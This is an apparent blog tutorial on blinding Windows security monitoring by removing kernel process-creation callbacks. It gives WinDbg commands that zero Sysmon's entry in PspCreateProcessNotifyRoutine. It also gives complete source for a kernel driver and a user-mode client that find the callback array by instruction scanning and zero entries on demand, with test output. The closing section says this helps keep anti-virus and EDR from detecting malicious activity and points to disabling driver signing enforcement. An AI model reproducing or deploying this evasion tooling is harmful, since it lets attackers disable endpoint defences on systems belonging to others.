Neutralising Kernel Callbacks

Kernel callbacks are a mechanism in the Windows kernel that allow the operating system to notify drivers or system components when certain events occur, so they can take action. They are commonly used by Anti-Virus software to monitor events that occur on a system, such as process creation.

In this article we will be looking at disabling process creation callbacks for Microsoft Sysmon.


Configuring Sysmon

Sysmon uses XML configuration files to define the things it’s monitoring. Create the following configuration file.

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Log all process creation events -->
    <ProcessCreate>
      <CommandLine />
      <Hashes>SHA1,MD5,SHA256</Hashes>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

As an administrator, install the sysmon configuration.

C:\Sysmon>sysmon64.exe -i process_create.xml

System Monitor v15.15 - System activity monitor
By Mark Russinovich and Thomas Garnier
Copyright (C) 2014-2024 Microsoft Corporation
Using libxml2. libxml2 is Copyright (C) 1998-2012 Daniel Veillard. All Rights Reserved.
Sysinternals - www.sysinternals.com

Loading configuration file with schema version 4.90
Error: You need to specifiy the onmatch attribute on ProcessCreate.
Configuration file validated.
Sysmon64 installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting Sysmon64..

When a new process is created, you should see this in the event logs under:

Applications and Services Logs > Microsoft > Windows > Sysmon > Operational

Event ID 1 will contain the process creation details.


Disabling Process Creation Events using WinDbg

The Kernel maintains an array of pointers to functions that wish to be notified when a process is created, called PspCreateProcessNotifyRoutine. Using WinDbg, we can examine the contents of this array using the display quadword (dqs) command.

0: kd> dqs!PspCreateProcessNotifyRoutine
fffff805`072ffc00  ffffe708`f905839f
fffff805`072ffc08  ffffe708`f94e0d8f
fffff805`072ffc10  ffffe708`f95df36f
fffff805`072ffc18  ffffe708`f95df45f
fffff805`072ffc20  ffffe708`f9790c7f
fffff805`072ffc28  ffffe708`f95df24f
fffff805`072ffc30  ffffe708`fd6ba34f
fffff805`072ffc38  ffffe708`fdf5a22f
fffff805`072ffc40  ffffe708`fdf5b5af
fffff805`072ffc48  00000000`00000000
fffff805`072ffc50  00000000`00000000
fffff805`072ffc58  00000000`00000000
fffff805`072ffc60  00000000`00000000
fffff805`072ffc68  00000000`00000000
fffff805`072ffc70  00000000`00000000
fffff805`072ffc78  00000000`00000000

We can see we have nine entries. To determine what these point to we need to apply a bitwise mask to show where the pointers redirect to.

The bitwise operation “& fffffffffffffff8″ effectively rounds the address down to the nearest 8-byte boundary. This can be necessary to avoid misaligned memory access, which could lead to performance penalties.

Since we’re debugging a remote system, not all the symbols will resolve correctly. Regardless, we can see ninth entry belongs to the Sysmon driver.

0: kd> dps (ffffe708`f905839f &amp; fffffffffffffff8) L1
ffffe708`f9058398  fffff805`0abc6540 cng!CngCreateProcessNotifyRoutine
0: kd> dps (ffffe708`f94e0d8f &amp; fffffffffffffff8) L1
ffffe708`f94e0d88  fffff805`0b708f40Unable to load image WdFilter.sys, Win32 error 0n2
 WdFilter+0x48f40
0: kd> dps (ffffe708`f95df36f &amp; fffffffffffffff8) L1
ffffe708`f95df368  fffff805`0aa2b4b0 ksecdd!KsecCreateProcessNotifyRoutine
0: kd> dps (ffffe708`f95df45f &amp; fffffffffffffff8) L1
ffffe708`f95df458  fffff805`0bb7b560 tcpip!CreateProcessNotifyRoutineEx
0: kd> dps (ffffe708`f9790c7f &amp; fffffffffffffff8) L1
ffffe708`f9790c78  fffff805`0ab47910 CI!I_PEProcessNotify
0: kd> dps (ffffe708`f95df24f &amp; fffffffffffffff8) L1
ffffe708`f95df248  fffff805`0c42a090 dxgkrnl!DxgkProcessNotify
0: kd> dps (ffffe708`fd6ba34f &amp; fffffffffffffff8) L1
ffffe708`fd6ba348  fffff805`05afacf0 Unable to load image peauth.sys, Win32 error 0n2
 peauth+0x3acf0
0: kd> dps (ffffe708`fdf5a22f &amp; fffffffffffffff8) L1
ffffe708`fdf5a228  fffff805`05cac6e0 Unable to load image KslD.sys, Win32 error 0n2
 KslD+0xc6e0
0: kd> dps (ffffe708`fdf5b5af &amp; fffffffffffffff8) L1
ffffe708`fdf5b5a8  fffff805`05d2a250 Unable to load image SysmonDrv.sys, Win32 error 0n2
 SysmonDrv+0xa250

We can zero out the entry to prevent Sysmon from receiving any further events.

0: kd> eq fffff805`072ffc40 0
0: kd> dqs!PspCreateProcessNotifyRoutine
fffff805`072ffc00  ffffe708`f905839f
fffff805`072ffc08  ffffe708`f94e0d8f
fffff805`072ffc10  ffffe708`f95df36f
fffff805`072ffc18  ffffe708`f95df45f
fffff805`072ffc20  ffffe708`f9790c7f
fffff805`072ffc28  ffffe708`f95df24f
fffff805`072ffc30  ffffe708`fd6ba34f
fffff805`072ffc38  ffffe708`fdf5a22f
fffff805`072ffc40  00000000`00000000
fffff805`072ffc48  00000000`00000000
fffff805`072ffc50  00000000`00000000
fffff805`072ffc58  00000000`00000000
fffff805`072ffc60  00000000`00000000
fffff805`072ffc68  00000000`00000000
fffff805`072ffc70  00000000`00000000
fffff805`072ffc78  00000000`00000000

On resuming execution, you should no longer see any Sysmon process creation events being generated.


Programatically Disabling Callback Entries

We can disable Kernel callbacks outside of a debugging environment using a Kernel mode driver. To do this, we need a way to dynamically locate where PspCreateProcessNotifyRoutine resides in memory. Let’s look at how we can traverse the data structures to locate it, again using WinDbg.

First, disassemble the PsSetCreateProcessNotifyRoutine function.

0: kd> u nt!PsSetCreateProcessNotifyRoutine
nt!PsSetCreateProcessNotifyRoutine:
fffff805`06dfb030 4883ec28        sub     rsp,28h
fffff805`06dfb034 8ac2            mov     al,dl
fffff805`06dfb036 33d2            xor     edx,edx
fffff805`06dfb038 84c0            test    al,al
fffff805`06dfb03a 0f95c2          setne   dl
fffff805`06dfb03d e8f6020000      call    nt!PspSetCreateProcessNotifyRoutine (fffff805`06dfb338)
fffff805`06dfb042 4883c428        add     rsp,28h
fffff805`06dfb046 c3              ret

We can see a call to PspSetCreateProcessNotifyRoutine. Let’s disassemble this.

0: kd> U fffff805`06dfb338 L20
nt!PspSetCreateProcessNotifyRoutine:
fffff805`06dfb338 48895c2408      mov     qword ptr [rsp+8],rbx
fffff805`06dfb33d 48896c2410      mov     qword ptr [rsp+10h],rbp
fffff805`06dfb342 4889742418      mov     qword ptr [rsp+18h],rsi
fffff805`06dfb347 57              push    rdi
fffff805`06dfb348 4154            push    r12
fffff805`06dfb34a 4155            push    r13
fffff805`06dfb34c 4156            push    r14
fffff805`06dfb34e 4157            push    r15
fffff805`06dfb350 4883ec20        sub     rsp,20h
fffff805`06dfb354 8bf2            mov     esi,edx
fffff805`06dfb356 8bda            mov     ebx,edx
fffff805`06dfb358 83e602          and     esi,2
fffff805`06dfb35b 4c8bf1          mov     r14,rcx
fffff805`06dfb35e f6c201          test    dl,1
fffff805`06dfb361 0f85ef1f0b00    jne     nt!PspSetCreateProcessNotifyRoutine+0xb201e (fffff805`06ead356)
fffff805`06dfb367 85f6            test    esi,esi
fffff805`06dfb369 0f848d000000    je      nt!PspSetCreateProcessNotifyRoutine+0xc4 (fffff805`06dfb3fc)
fffff805`06dfb36f ba20000000      mov     edx,20h
fffff805`06dfb374 e8b369bbff      call    nt!MmVerifyCallbackFunctionCheckFlags (fffff805`069b1d2c)
fffff805`06dfb379 85c0            test    eax,eax
fffff805`06dfb37b 0f8498200b00    je      nt!PspSetCreateProcessNotifyRoutine+0xb20e1 (fffff805`06ead419)
fffff805`06dfb381 488bd3          mov     rdx,rbx
fffff805`06dfb384 498bce          mov     rcx,r14
fffff805`06dfb387 e8a4000000      call    nt!ExAllocateCallBack (fffff805`06dfb430)
fffff805`06dfb38c 488bf8          mov     rdi,rax
fffff805`06dfb38f 4885c0          test    rax,rax
fffff805`06dfb392 0f848b200b00    je      nt!PspSetCreateProcessNotifyRoutine+0xb20eb (fffff805`06ead423)
fffff805`06dfb398 33db            xor     ebx,ebx
fffff805`06dfb39a 4c8d2d5f485000  lea     r13,[nt!PspCreateProcessNotifyRoutine (fffff805`072ffc00)]
fffff805`06dfb3a1 488d0cdd00000000 lea     rcx,[rbx*8]
fffff805`06dfb3a9 4533c0          xor     r8d,r8d
fffff805`06dfb3ac 4903cd          add     rcx,r13

The first load effective address (lea) instruction points to our PspCreateProcessNotifyRoutine array.

0: kd> dqs fffff805`072ffc00
fffff805`072ffc00  ffffe708`f905839f
fffff805`072ffc08  ffffe708`f94e0d8f
fffff805`072ffc10  ffffe708`f95df36f
fffff805`072ffc18  ffffe708`f95df45f
fffff805`072ffc20  ffffe708`f9790c7f
fffff805`072ffc28  ffffe708`f95df24f
fffff805`072ffc30  ffffe708`fd6ba34f
fffff805`072ffc38  ffffe708`fdf5a22f
fffff805`072ffc40  00000000`00000000
fffff805`072ffc48  00000000`00000000
fffff805`072ffc50  00000000`00000000
fffff805`072ffc58  00000000`00000000
fffff805`072ffc60  00000000`00000000
fffff805`072ffc68  00000000`00000000
fffff805`072ffc70  00000000`00000000
fffff805`072ffc78  00000000`00000000

In summary, we need to take these steps.

  • Calculate the RVA of PsSetCreateProcessNotifyRoutine in ntoskrnl
  • Calculate the offset to the PspSetCreateProcessNotifyRoutine in PsSetCreateProcessNotifyRoutine
  • Parse PsSetCreateProcessNotifyRoutine, to find the first LEA instruction (that will point to our PspCreateProcessNotifyRoutine array)
  • Finally, overwrite our entry of choice

Creating the Driver

The following driver code allows us to list the process creation callback entries, and their associated memory addresses.

#include <ntifs.h>
#include <ntddk.h>

//
// IOCTL
//
#define IOCTL_DRIVER_CALLBACK_LIST  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_DRIVER_ZERO_MEMORY    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x816, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define MAX_PROCESS_NOTIFY          64

//
// Callback Type Enum
//
typedef enum _NOTIFY_ROUTINE_TYPE {
    ProcessCreateCallback = 0
} NOTIFY_ROUTINE_TYPE;

//
// Callback structure to return memory address and function pointer
//
typedef struct _CALLBACK_ENTRY {
    UINT64 MemoryAddress;
    UINT64 CallbackAddress;
} CALLBACK_ENTRY, * PCALLBACK_ENTRY;

//
// Structure for Memory Zero Request
//
typedef struct _MEMORY_ZERO_REQUEST {
    UINT64 MemoryAddress;
} MEMORY_ZERO_REQUEST, * PMEMORY_ZERO_REQUEST;

//
// PsCreateProcessNotify routine type
//
typedef void (*PCREATE_PROCESS_NOTIFY_ROUTINE)(
    _In_ HANDLE ParentId,
    _In_ HANDLE ProcessId,
    _In_ BOOLEAN Create
    );

//
// Forward declarations
//
static UINT64 FindNotifyRoutineAddress(NOTIFY_ROUTINE_TYPE Type);
NTSTATUS ListCallbacks(PVOID OutBuffer, ULONG OutBufferSize, PULONG BytesReturned);
NTSTATUS ZeroMemoryAtAddress(PMEMORY_ZERO_REQUEST Request);

//
// ---------------------------------------------------------------
//  Locate PspCreateProcessNotifyRoutine[]
// ---------------------------------------------------------------
//
static UINT64 FindNotifyRoutineAddress(NOTIFY_ROUTINE_TYPE Type)
{
    if (Type != ProcessCreateCallback)
        return 0;

    UNICODE_STRING routineName;
    RtlInitUnicodeString(&routineName, L"PsSetCreateProcessNotifyRoutine");

    UINT64 routineAddress = (UINT64)MmGetSystemRoutineAddress(&routineName);
    if (!routineAddress) {
        DbgPrint("[CallbackDriver] MmGetSystemRoutineAddress failed.\n");
        return 0;
    }

    UINT64 tempAddress = 0;
    UINT64 notifyArray = 0;

    //
    // Find CALL/JMP instruction in PsSetCreateProcessNotifyRoutine
    //
    for (int i = 0; i < 200; i++) {
        UCHAR op = *(UCHAR*)(routineAddress + i);

        if (op == 0xE8 || op == 0xE9) {
            LONG rel = *(LONG*)(routineAddress + i + 1);
            tempAddress = routineAddress + i + 5 + rel;
            break;
        }
    }

    if (!tempAddress) {
        DbgPrint("[CallbackDriver] Failed to locate jump target.\n");
        return 0;
    }

    //
    // Scan for LEA reg, [RIP+offset]
    //
    for (int i = 0; i < 300; i++) {
        UCHAR pfx = *(UCHAR*)(tempAddress + i);

        if ((pfx == 0x48 || pfx == 0x4C) &&
            *(UCHAR*)(tempAddress + i + 1) == 0x8D)
        {
            LONG rel = *(LONG*)(tempAddress + i + 3);
            notifyArray = tempAddress + i + 7 + rel;
            break;
        }
    }

    if (!notifyArray) {
        DbgPrint("[CallbackDriver] Could not locate PspCreateProcessNotifyRoutine.\n");
    }
    else {
        DbgPrint("[CallbackDriver] Found array at: 0x%llx\n", notifyArray);
    }

    return notifyArray;
}

//
// ---------------------------------------------------------------
//  List the callback pointers and memory addresses into OutBuffer
// ---------------------------------------------------------------
//
NTSTATUS ListCallbacks(PVOID OutBuffer, ULONG OutBufferSize, PULONG BytesReturned)
{
    *BytesReturned = 0;

    UINT64 notifyArray = FindNotifyRoutineAddress(ProcessCreateCallback);
    if (!notifyArray)
        return STATUS_UNSUCCESSFUL;

    ULONG maxEntries = OutBufferSize / sizeof(CALLBACK_ENTRY);  // Size of the new structure
    ULONG count = 0;

    __try {
        for (int i = 0; i < MAX_PROCESS_NOTIFY; i++) {

            UINT64 entry = ((UINT64*)notifyArray)[i];

            if (entry != 0) {
                if (count < maxEntries) {
                    // Fill the structure with memory address and callback address
                    PCALLBACK_ENTRY callbackEntry = (PCALLBACK_ENTRY)(OutBuffer)+count;
                    callbackEntry->MemoryAddress = notifyArray + i * sizeof(UINT64);  // Calculate memory address
                    callbackEntry->CallbackAddress = entry;
                    count++;
                }
            }
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DbgPrint("[CallbackDriver] Exception reading kernel memory.\n");
        return STATUS_ACCESS_VIOLATION;
    }

    *BytesReturned = count * sizeof(CALLBACK_ENTRY);

    DbgPrint("[CallbackDriver] Returned %lu callback entries.\n", count);
    return STATUS_SUCCESS;
}

//
// ---------------------------------------------------------------
//  Zero memory at the provided address
// ---------------------------------------------------------------
NTSTATUS ZeroMemoryAtAddress(PMEMORY_ZERO_REQUEST Request)
{
    if (!Request || Request->MemoryAddress == 0)
        return STATUS_INVALID_PARAMETER;

    PVOID target = (PVOID)Request->MemoryAddress;

    __try {
        // Now zero 8 bytes at that location
        RtlZeroMemory(target, sizeof(UINT64));

        DbgPrint("[CallbackDriver] RtlZeroMemory() wrote 0 to: 0x%llx\n", Request->MemoryAddress);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {

        DbgPrint("[CallbackDriver] Access violation while writing 0x%llx\n", Request->MemoryAddress);
        return STATUS_ACCESS_VIOLATION;
    }

    return STATUS_SUCCESS;
}


//
// ---------------------------------------------------------------
//  IRP_MJ_DEVICE_CONTROL handler
// ---------------------------------------------------------------
NTSTATUS DriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    UNREFERENCED_PARAMETER(DeviceObject);

    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);

    ULONG outLen = stack->Parameters.DeviceIoControl.OutputBufferLength;
    ULONG inLen = stack->Parameters.DeviceIoControl.InputBufferLength;
    ULONG code = stack->Parameters.DeviceIoControl.IoControlCode;

    NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
    ULONG bytesReturned = 0;

    switch (code)
    {
    case IOCTL_DRIVER_CALLBACK_LIST:
        if (outLen < sizeof(CALLBACK_ENTRY)) {
            status = STATUS_BUFFER_TOO_SMALL;
            break;
        }

        status = ListCallbacks(
            Irp->AssociatedIrp.SystemBuffer,
            outLen,
            &bytesReturned
        );
        break;

    case IOCTL_DRIVER_ZERO_MEMORY:
        DbgPrint("[CallbackDriver] IOCTL_DRIVER_ZERO_MEMORY received.\n");

        // Check if the input buffer size is sufficient
        if (inLen < sizeof(MEMORY_ZERO_REQUEST)) {
            DbgPrint("[CallbackDriver] Input buffer size too small. Expected: %zu, Received: %lu\n", sizeof(MEMORY_ZERO_REQUEST), inLen);
            status = STATUS_BUFFER_TOO_SMALL;
            break;
        }

        PMEMORY_ZERO_REQUEST zeroRequest = (PMEMORY_ZERO_REQUEST)Irp->AssociatedIrp.SystemBuffer;

        DbgPrint("[CallbackDriver] Zeroing memory at address: 0x%llx\n", zeroRequest->MemoryAddress);

        status = ZeroMemoryAtAddress(zeroRequest);

        if (NT_SUCCESS(status)) {
            DbgPrint("[CallbackDriver] Successfully zeroed memory at address: 0x%llx\n", zeroRequest->MemoryAddress);
        }
        else {
            DbgPrint("[CallbackDriver] Failed to zero memory at address: 0x%llx, Status: 0x%08X\n", zeroRequest->MemoryAddress, status);
        }
        break;
    default:
        status = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }

    Irp->IoStatus.Information = bytesReturned;
    Irp->IoStatus.Status = status;

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

//
// ---------------------------------------------------------------
//  IRP_MJ_CREATE / CLOSE
// ---------------------------------------------------------------
NTSTATUS DriverCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    UNREFERENCED_PARAMETER(DeviceObject);

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

//
// ---------------------------------------------------------------
//  Driver Unload
// ---------------------------------------------------------------
VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\CallbackProc");

    IoDeleteSymbolicLink(&symLink);
    IoDeleteDevice(DriverObject->DeviceObject);

    DbgPrint("[CallbackDriver] Unloaded.\n");
}

//
// ---------------------------------------------------------------
//  Driver Entry
// ---------------------------------------------------------------
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNREFERENCED_PARAMETER(RegistryPath);

    NTSTATUS status;
    PDEVICE_OBJECT deviceObject;

    UNICODE_STRING deviceName = RTL_CONSTANT_STRING(L"\\Device\\CallbackDevice");
    UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\CallbackProc");

    status = IoCreateDevice(
        DriverObject,
        0,
        &deviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &deviceObject
    );

    if (!NT_SUCCESS(status)) {
        DbgPrint("[CallbackDriver] IoCreateDevice failed: 0x%08X\n", status);
        return status;
    }

    status = IoCreateSymbolicLink(&symLink, &deviceName);
    if (!NT_SUCCESS(status)) {
        IoDeleteDevice(deviceObject);
        return status;
    }

    DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDeviceControl;
    DriverObject->DriverUnload = DriverUnload;

    DbgPrint("[CallbackDriver] Loaded successfully.\n");

    return STATUS_SUCCESS;
}

Load the driver using the service control (sc) command.

sc create CallBackDriver type= kernel binPath= C:\CallbackDriver.sys
[SC] CreateService SUCCESS
sc start CallBackDriver

SERVICE_NAME: CallBackDriver
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 0
        FLAGS              :

As usual, we can interface with the client using a user mode application that implements IOCTL’s for communication.

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define WIN32_LEAN_AND_MEAN

#define IOCTL_DRIVER_CALLBACK_LIST \
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_DRIVER_ZERO_MEMORY \
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x816, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define MAX_CALLBACKS 64

typedef struct _CALLBACK_ENTRY {
    UINT64 MemoryAddress;
    UINT64 CallbackAddress;
} CALLBACK_ENTRY, * PCALLBACK_ENTRY;

typedef struct _MEMORY_ZERO_REQUEST {
    UINT64 MemoryAddress;
} MEMORY_ZERO_REQUEST, * PMEMORY_ZERO_REQUEST;

void ListCallbacks(HANDLE hDevice) {
    CALLBACK_ENTRY callbackList[MAX_CALLBACKS] = { 0 };
    DWORD bytesReturned = 0;

    printf("[+] Requesting process creation callback list...\n");

    BOOL success = DeviceIoControl(
        hDevice,
        IOCTL_DRIVER_CALLBACK_LIST,
        NULL, 0, 
        callbackList,
        sizeof(callbackList),
        &bytesReturned,
        NULL
    );

    if (!success) {
        printf("[-] DeviceIoControl failed (IOCTL_DRIVER_CALLBACK_LIST): %lu\n", GetLastError());
        return;
    }

    int count = bytesReturned / sizeof(CALLBACK_ENTRY);
    printf("[+] Driver returned %d callback entries:\n\n", count);

    for (int i = 0; i < count; i++) {
        printf("  [%02d] Memory Address: 0x%llx  Callback Address: 0x%llx\n", i, callbackList[i].MemoryAddress, callbackList[i].CallbackAddress);
    }

    printf("\n[+] Done.\n");
}

void ZeroMemoryAtAddress(HANDLE hDevice, UINT64 addressToZero) {
    MEMORY_ZERO_REQUEST zeroRequest;
    zeroRequest.MemoryAddress = addressToZero;

    printf("[+] Sending memory zero request for address: 0x%llx...\n", addressToZero);

    DWORD bytesReturned = 0;
    BOOL success = DeviceIoControl(
        hDevice,
        IOCTL_DRIVER_ZERO_MEMORY,
        &zeroRequest, sizeof(zeroRequest),  
        NULL, 0, 
        &bytesReturned,
        NULL
    );

    if (!success) {
        printf("[-] DeviceIoControl failed (IOCTL_DRIVER_ZERO_MEMORY): %lu\n", GetLastError());
    }
    else {
        printf("[+] Successfully zeroed memory at: 0x%llx\n", addressToZero);
    }
}

int main(int argc, char** argv) {
    if (argc < 2) {
        printf("Usage: %s <list|zero> [address]\n", argv[0]);
        return 1;
    }

    if (_stricmp(argv[1], "list") == 0) {
        HANDLE hDevice = CreateFileA(
            "\\\\.\\CallbackProc",
            GENERIC_READ | GENERIC_WRITE,
            0, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL
        );

        if (hDevice == INVALID_HANDLE_VALUE) {
            printf("[-] Failed to open device: %lu\n", GetLastError());
            return 2;
        }

        ListCallbacks(hDevice);
        CloseHandle(hDevice);

    }
    else if (_stricmp(argv[1], "zero") == 0) {
        if (argc < 3) {
            printf("[-] Memory address must be provided for zero operation.\n");
            return 3;
        }

        UINT64 addressToZero = strtoull(argv[2], NULL, 16); // Convert hex string to address (e.g., 0x123456789ABC)

   
        HANDLE hDevice = CreateFileA(
            "\\\\.\\CallbackProc",
            GENERIC_READ | GENERIC_WRITE,
            0, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL
        );

        if (hDevice == INVALID_HANDLE_VALUE) {
            printf("[-] Failed to open device: %lu\n", GetLastError());
            return 4;
        }

        ZeroMemoryAtAddress(hDevice, addressToZero);
        CloseHandle(hDevice);
    }
    else {
        printf("[-] Invalid argument. Use 'list' to list callback addresses or 'zero <address>' to zero memory.\n");
        return 5;
    }

    return 0;
}


Testing the Code

Running the code, we can see it’s retrieving the contents of the PspCreateProcessNotifyRoutine array, and we can supply memory addresses to remove from the array.

C:\>CallbackClient.exe list
[+] Requesting process creation callback list...
[+] Driver returned 7 callback entries:

  [00] Memory Address: 0xfffff805072ffc00  Callback Address: 0xffffe708f905839f
  [01] Memory Address: 0xfffff805072ffc08  Callback Address: 0xffffe708f94e0d8f
  [02] Memory Address: 0xfffff805072ffc10  Callback Address: 0xffffe708f95df36f
  [03] Memory Address: 0xfffff805072ffc18  Callback Address: 0xffffe708f95df45f
  [04] Memory Address: 0xfffff805072ffc20  Callback Address: 0xffffe708f9790c7f
  [05] Memory Address: 0xfffff805072ffc28  Callback Address: 0xffffe708f95df24f
  [06] Memory Address: 0xfffff805072ffc30  Callback Address: 0xffffe708fd6ba34f

[+] Done.

C:\>CallbackClient.exe zero 0xfffff805072ffc30
[+] Sending memory zero request for address: 0xfffff805072ffc30...
[+] Successfully zeroed memory at: 0xfffff805072ffc30

C:\>CallbackClient.exe list
[+] Requesting process creation callback list...
[+] Driver returned 6 callback entries:

  [00] Memory Address: 0xfffff805072ffc00  Callback Address: 0xffffe708f905839f
  [01] Memory Address: 0xfffff805072ffc08  Callback Address: 0xffffe708f94e0d8f
  [02] Memory Address: 0xfffff805072ffc10  Callback Address: 0xffffe708f95df36f
  [03] Memory Address: 0xfffff805072ffc18  Callback Address: 0xffffe708f95df45f
  [04] Memory Address: 0xfffff805072ffc20  Callback Address: 0xffffe708f9790c7f
  [05] Memory Address: 0xfffff805072ffc28  Callback Address: 0xffffe708f95df24f

[+] Done.

In Conclusion

Removing callback entries will assist in preventing Anti-Virus and EDR software from being able to detect malicious activity on an endpoint. Getting the malicious driver loaded in the first place will require disabling Driver Signing Enforcement.